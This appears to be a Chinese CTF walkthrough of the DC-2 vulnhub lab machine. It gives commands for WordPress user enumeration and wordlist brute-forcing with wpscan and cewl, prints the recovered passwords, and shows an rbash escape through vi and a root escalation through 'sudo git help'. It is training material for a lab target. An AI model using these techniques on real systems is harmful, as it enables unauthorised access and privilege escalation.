[vulhub靶机通关]DC-2(rbash绕过_git提权)

实验步骤

1.信息收集

主机探测

plain 复制代码
nmap -sP 192.168.89.0/24

端口扫描

80和ssh是开着的

但发现打不开网站 会重定向到dc-2 我们修改本地的hosts

找到了flag1

提示我们要用cewl 发现网页使用的是wordpress cms

我们用wpscan 扫描网页

plain 复制代码
wpscan -url http://dc-2 -e u

找到了用户名

在用cewl去扫描网站找到密码

plain 复制代码
cewl http://dc-2 -w password.txt
plain 复制代码
wpscan --url http://dc-2 -U user.txt -P password.txt

找到了jerry和tom的密码

plain 复制代码
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

我们把网站进行目录扫描

plain 复制代码
dirb http://dc-2

找到了登陆页面

我们用tom的身份登陆进去 发现什么都没有 用jerry去登录

找到了flag2 提示我们exp不能用 我们试着ssh去连接

plain 复制代码
ssh tom@192.168.89.146 -p 7744

2.rbash绕过 提权

plain 复制代码
RBASH 绕过
什么是 RBASH
RBASH 是 Restricted BASH 的缩写,意思是受限制的 BASH。

RBASH 是一种特殊的 shell,它限制了用户的一些操作和权限,例如:

不能使用 cd 命令来改变当前目录。

不能使用 set 命令来改变环境变量或 shell 选项。

不能使用 unset 命令来取消环境变量或 shell 函数。

不能使用任何包含 / 符号的命令,除非它们在 PATH 环境变量中指定了。

不能重定向输入或输出,例如使用 >, <, >>, << 等符号。

只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等。

RBASH 的目的是为了提高系统的安全性,防止用户执行一些危险或不合法的操作。

需要绕过rbash

可以使用的命令是vi

plain 复制代码
vi:set shell=/bin/sh
运行shell:shell

执行后会绕过rbash
我们在添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
plain 复制代码
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

提示我们需要su 到jerry用户里

plain 复制代码
BASH_[x]=/bin/bash
x
这样也可以绕过
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

在jerry家目录下找到了flag4

提权到root 使用git提权

plain 复制代码
sudo git help config
	!/bin/bash或者!'sh'完成提权
 
sudo git  -p help
	!/bin/bash

在root目录下找到了最终flag

相关推荐
老王熬夜敲代码3 分钟前
IP和MAC的深入理解
linux·网络·笔记·网络协议
Chengbei115 分钟前
CVE-2025-24813 Tomcat 最新 RCE 分析复现
java·安全·web安全·网络安全·tomcat·系统安全·网络攻击模型
梁辰兴5 分钟前
计算机网络基础:以太网的信道利用率
服务器·网络·计算机网络·计算机·以太网·信道利用率·梁辰兴
小熊哥^--^6 分钟前
谈谈对传输层协议TCP的理解
网络·网络协议·tcp/ip
全栈工程师修炼指南8 分钟前
Nginx | HTTPS 加密传输:Nginx 反向代理与上游服务 SSL 双向认证实践
网络·数据库·nginx·https·ssl
Hello.Reader9 分钟前
Flink SQL 的 JOB 管理语句SHOW / DESCRIBE / STOP(SQL CLI & SQL Gateway 实战)
sql·flink·gateway
德迅云安全-小潘9 分钟前
网络空间资产安全发展演进与实践框架
数据库·web安全
秋深枫叶红13 分钟前
嵌入式第三十八篇——linux系统编程——IPC进程间通信
linux·服务器·网络·学习
缺的不是资料,是学习的心17 分钟前
vmware虚拟机ens33拿不到ip,已经开启dhcp了
网络·网络协议·tcp/ip
Boop_wu32 分钟前
[Java EE] 网络原理(2) http
网络·网络协议·http